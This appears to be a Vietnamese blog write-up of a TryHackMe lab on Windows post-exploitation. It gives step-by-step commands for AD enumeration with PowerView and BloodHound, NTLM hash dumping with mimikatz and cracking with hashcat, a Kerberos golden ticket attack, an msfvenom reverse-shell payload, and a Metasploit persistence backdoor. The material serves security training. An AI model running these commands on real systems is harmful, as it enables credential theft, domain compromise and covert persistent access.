Advertisement

Responsive Advertisement

Post-Exploitation Basics - Tryhackme

 



Task 1:Introduction

Căn phòng này sẽ bao gồm tất cả những điều cơ bản về khai thác trên window; chúng ta sẽ nói về mọi thứ từ liệt kê sau khai thác với powershellvà bloodhound, cách dùng công cụ mimikatz, thu thập thông tin cơ bản bằng cách sử dụng các công cụ và nhật ký của máy chủ windows, sau đó chúng ta sẽ tóm tắt phòng này nói về những điều cơ bản của việc duy trì quyền truy cập với mô-đun chạy ẩn bền bỉ và tạo một cửa kết nối về máy hacker có thông báo tức thì nếu hệ thống bị tắt hoặc khởi động lại. Phòng này sẽ liên quan đến các ứng dụng trong thế giới thực và hầu như sẽ không giúp ích gì cho bất kỳ ctf nào, tuy nhiên phòng này sẽ cung cấp cho bạn kiến thức ban đầu tuyệt vời về cách tiếp cận tấn công sau khi bạn đã có được shell trên máy nạn nhân.


Task 2  Enumeration w/ Powerview

Để bắt đầu phòng này, bạn sẽ cần RDP hoặc SSH vào máy, thông tin đăng nhập của bạn là:

IP máy của bạn là  MACHINE_IP

Tên người dùng: Administrator

Mật khẩu: P@$$W0rd

Tên miền: CONTROLLER

Powerview là một tập các lệnh mạnh từ đế chế powershell có thể được sử dụng để liệt kê thông tin một tên miền sau khi bạn đã có được một mã khai thác trong hệ thống.




1.) Khởi động Powershell -
 powershell -ep bypass -ep bỏ qua chính sách thực thi của powershell cho phép bạn dễ dàng chạy các tập lệnh

2.) Khởi động PowerView - . .\Downloads\PowerView.ps1

3.) Thống kê số lượng users theo domains - Get-NetUser | select cn    


4.) Thông kê domain groups - Get-NetGroup -GroupName *admin*   


Bây giờ, hãy tự liệt kê thêm miền của riêng bạn

Đây là một bảng cheatsheet để giúp bạn với các lệnh: https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993 

Cheatsheet Credit: HarmJ0y

Task 3  Enumeration w/ Bloodhound

Bloodhound là một giao diện đồ họa cho phép bạn lập bản đồ mạng một cách trực quan. Công cụ này cùng với SharpHound tương tự như PowerView đưa người dùng, nhóm, người tin cậy, v.v. của mạng và thu thập chúng thành các tệp .json để sử dụng bên trong Bloodhound.

Hãy tập trung vào cách thu thập các tệp .json và cách nhập vào Bloodhound

Cài đặt BloodHound -

1.) apt-get install bloodhound    

2.) neo4j console - default credentials -> neo4j:neo4j

Getting loot w/ SharpHound -

1.) powershell -ep bypass chạy với PowerView

2.) . .\Downloads\SharpHound.ps1    

3.) Invoke-Bloodhound -CollectionMethod All -Domain CONTROLLER.local -ZipFileName loot.zip


4.) Chuyển tệp loot.zip về máy Attacker 


Mapping the network w/ BloodHound -

1.) bloodhound chạy lệnh này trên máy attacker

2.) Đăng nhập với thông tin Neo4j


3.) Inside of Bloodhound tìm kiếm biểu tượng này  và nhập thư mục loot.zip


lưu ý: Trên một số phiên bản của BloodHound, nút nhập không hoạt động để giải quyết vấn đề này, chỉ cần kéo và thả thư mục loot.zip vào Bloodhound để nhập tệp .json

4.) Để xem mạng được vẽ biểu đồ, hãy mở menu và chọn các truy vấn, thao tác này sẽ cung cấp cho bạn danh sách các truy vấn được biên dịch trước để lựa chọn.


Các truy vấn có thể đơn giản như tìm tất cả quản trị viên miền 


Hoặc phức tạp như đường dẫn ngắn nhất đến các mục tiêu. 


Có rất nhiều truy vấn để lựa chọn và liệt kê các kết nối bên trong mạng. Lọc truy vấn liên quan kerberos 



Task 4  Dumping hashes w/ mimikatz

Mimikatz là một công cụ khai thác rất phổ biến và mạnh mẽ, chủ yếu được sử dụng để kết xuất thông tin đăng nhập của người dùng bên trong hệ thống chạy dịch vụ active directory network

Mình sẽ tập trung vào việc kết xuất các băm NTLM với mimikatz và sau đó bẻ khóa các băm đó bằng hashcat

Lấy ra hàm băm w/ mimikatz -

1.) cd Downloads && mimikatz.exe điều này sẽ di chuyển vào thư mục mà mimikatz được giữ cũng như chạy mimikatz

2.) privilege::debug đảm bảo rằng đầu ra là "Privilege '20' ok" - Điều này đảm bảo rằng bạn đang chạy mimikatz với tư cách là quản trị viên; nếu bạn không chạy mimikatz với tư cách quản trị viên, mimikatz sẽ không chạy đúng cách.

3.) lsadump::lsa /patch lấy là thông tin giá trị băm mật khẩu!

Giải mã hàm băm w/ hashcat

1.) hashcat -m 1000 <hash> rockyou.txt    

Mimikatz có nhiều cách sử dụng đồng thời là một công cụ tuyệt vời để kết xuất hàm băm, mình sẽ đề cập đến một trong những cách sử dụng mimikatz khác trong nhiệm vụ tiếp theo bằng cách tạo một vé kerberos với mimikatz

Task 5  Golden Ticket Attacks w/ mimikatz

Một lần nữa sử dụng công cụ mimikatz như nhiệm vụ trước đó; tuy nhiên, lần này mình sẽ sử dụng nó để tạo ra một tấm vé vàng dịch vụ kerberos.

Đầu tiên chúng ta sẽ kết xuất hàm băm và sid của người dùng krbtgt, sau đó tạo một vé và sử dụng vé đó để mở một dấu nhắc lệnh mới cho phép chúng ta truy cập vào bất kỳ máy nào trong hệ thống.


Kết xuất thông tin krbtgt -

1.) cd downloads && mimikatz.exe    

2.) privilege::debug đảm bảo đầu ra này [đặc quyền "20" ok]

3.) lsadump::lsa /inject /name:krbtgt Thao tác này hủy mã băm và định danh bảo mật của tài khoản Vé cấp vé Kerberos cho phép bạn tạo vé.

Ghi lại những gì được tô màu đỏ mà bạn sẽ cần để tạo ra tấm vé vàng

Tạo một vé vàng -

1.) kerberos::golden /user: /domain: /sid: /krbtgt: /id:    


Sử dụng Vé này để truy cập máy khác -

1.) misc::cmd - Thao tác này sẽ mở ra một dấu nhắc lệnh mới với các đặc quyền nâng cao cho tất cả các máy


2.) Truy cập các Máy khác! - Bây giờ bạn sẽ có một trình dao diện điều khiển dòng lệnh khác với quyền truy cập vào tất cả các máy khác trên mạng.

Thật không may vì tryhackme hiện không hỗ trợ mạng, bạn sẽ không thể truy cập vào các máy khác, tuy nhiên, tôi khuyến khích bạn tự thêm các máy khác vào bộ điều khiển miền này và thử các cuộc tấn công này.

Task 6Enumeration w/ Server Manager

Do máy chủ hầu như không bao giờ được đăng nhập trừ khi nó để bảo trì, điều này mang lại cho bạn một cách dễ dàng để liệt kê chỉ bằng cách sử dụng các tính năng cửa sổ được tích hợp sẵn như trình quản lý máy chủ. Nếu bạn đã có tài khoản quản trị viên trên miền, bạn sẽ có nhiều quyền truy cập vào trình quản lý máy chủ để thay đổi độ tin cậy, thêm hoặc xóa người dùng, xem xét các nhóm, đây có thể là một điểm vào để tìm những người dùng khác có thông tin nhạy cảm khác trên máy của họ hoặc tìm những người dùng khác trên mạng miền có quyền truy cập vào các mạng khác để chuyển sang mạng khác và tiếp tục thử nghiệm của bạn.

Cách duy nhất để truy cập trình quản lý máy chủ là truy cập rdp vào máy chủ và truy cập máy chủ qua kết nối rdp

Mình sẽ chỉ đi qua những điều cơ bản như xem xét người dùng, nhóm và người tin cậy, tuy nhiên có rất nhiều điều nghịch lý khác mà bạn có thể bắt tay vào việc liệt kê với trình quản lý máy chủ

Đây cũng có thể là một cách để dễ dàng xác định loại tường lửa mà mạng đang sử dụng nếu bạn chưa liệt kê nó.

Thống kê w/ Server Manager -

Đây là giao diện của Windows Server Manager khi bạn mở nó lần đầu tiên. Các tab chính sẽ thú vị nhất là các công cụ và quản lý các tab. Tab công cụ là nơi bạn sẽ tìm thấy hầu hết thông tin của mình như người dùng, nhóm, người tin cậy, máy tính. Tab quản lý sẽ cho phép bạn thêm các vai trò và tính năng tuy nhiên điều này có thể sẽ được quản trị viên hệ thống chọn tương đối nhanh.

Đừng lo lắng về AD CS, AD DS, DNS hoặc Dịch vụ tệp và lưu trữ, những dịch vụ này được thiết lập để khai thác thư mục đang hoạt động và không được sử dụng nhiều cho quá trình khai thác.

Điều hướng đến tab công cụ và chọn Người dùng và Máy tính Active Directory


Thao tác này sẽ hiển thị danh sách tất cả người dùng trên miền cũng như một số tab hữu ích khác để sử dụng như nhóm và máy tính.

Một số quản trị viên hệ thống không nhận ra rằng bạn với tư cách là kẻ tấn công có thể xem mô tả tài khoản người dùng, vì vậy họ có thể đặt mật khẩu tài khoản dịch vụ bên trong mô tả, hãy xem mô tả và tìm mật khẩu dịch vụ SQL là gì.

Task 7 Maintaining Access

Có một số cách để duy trì quyền truy cập trên một máy hoặc mạng, mình sẽ đề cập đến một cách khá đơn giản để duy trì quyền truy cập bằng cách thiết lập một trình bao metpreter trước tiên và sau đó sử dụng mô-đun metasploit bền bỉ cho phép bạn tạo một dịch vụ cửa sau trong hệ thống điều đó sẽ cung cấp cho bạn một mã kết nối ngược tức thì nếu máy victim đã tắt hoặc đặt lại.

Ngoài ra còn có những cách khác để duy trì quyền truy cập như backdoor và rootkit nâng cao, tuy nhiên những cách đó không thuộc phạm vi của phòng này.

Điều này sẽ yêu cầu thiết lập thủ công nhiều hơn một chút so với các tác vụ khác, vì vậy bạn nên có kiến thức trước đó về msfvenom và metasploit.

Tạo một Payload w/ msfvenom

1.) msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe -o shell.exe điều này sẽ tạo ra một trình shell Windows meterpreter kết nối ngược tcp cơ bản

2.) Chuyển payload từ máy kẻ tấn công sang máy mục tiêu.

3.) use exploit/multi/handler - điều này sẽ tạo một bộ lắng nghe trên cổng mà bạn đã đặt nó.

4.) Định cấu hình payload của bạn để trở thành một shell gồm trình thông dịch: set payload windows/meterpreter/reverse_tcp

5.) Sau khi đặt địa chỉ IP THM của bạn làm "LHOST", hãy bắt đầu chạy lệnh run

6.)  Thực thi mã nhị phân trên máy tính windows sẽ cung cấp cho bạn một trình meterpreter kết nối trở lại máy chủ của bạn 

7.) Xác minh rằng bạn có shell chờ kết nối, sau đó mình sẽ background để giữ luôn chạy mô-đun.

Run the Persistence Module -

1.) use exploit/windows/local/persistence mô-đun này sẽ gửi một payload cứ sau 10 giây theo mặc định, tuy nhiên, bạn có thể đặt thời gian này thành bất kỳ.

2.) set session 1 đặt phiên thành phiên mà bạn đã tạo nền trong meterpreter (bạn có thể sử dụng lệnh phiên trong metasploit để liệt kê các phiên hoạt động)

Nếu hệ thống bị tắt hoặc đặt lại vì bất kỳ lý do gì, bạn sẽ mất phiên đồng  của mình, tuy nhiên, bằng cách sử dụng mô-đun liên tục, bạn tạo một cửa sau vào hệ thống victim mà bạn có thể truy cập bất kỳ lúc nào bằng trình xử lý đa metasploit và đặt payload thành windows/meterpreter/reverse_tcp cho phép bạn gửi một payload khác đến máy và mở ra một phiên kết nối mới.

Tại đây, bạn có thể thấy phiên bị chết tuy nhiên lần thứ hai chúng tôi chạy lại trình xử lý, chúng tôi nhận được một trình bao métpreter trở lại nhờ vào dịch vụ bền bỉ.

Có những cách khác để duy trì quyền truy cập như thêm người dùng và rootkit, tuy nhiên, mình sẽ để bạn tự nghiên cứu và thực hiện các phòng thí nghiệm về các chủ đề đó.

Task 8  Conclusion

Post a Comment

0 Comments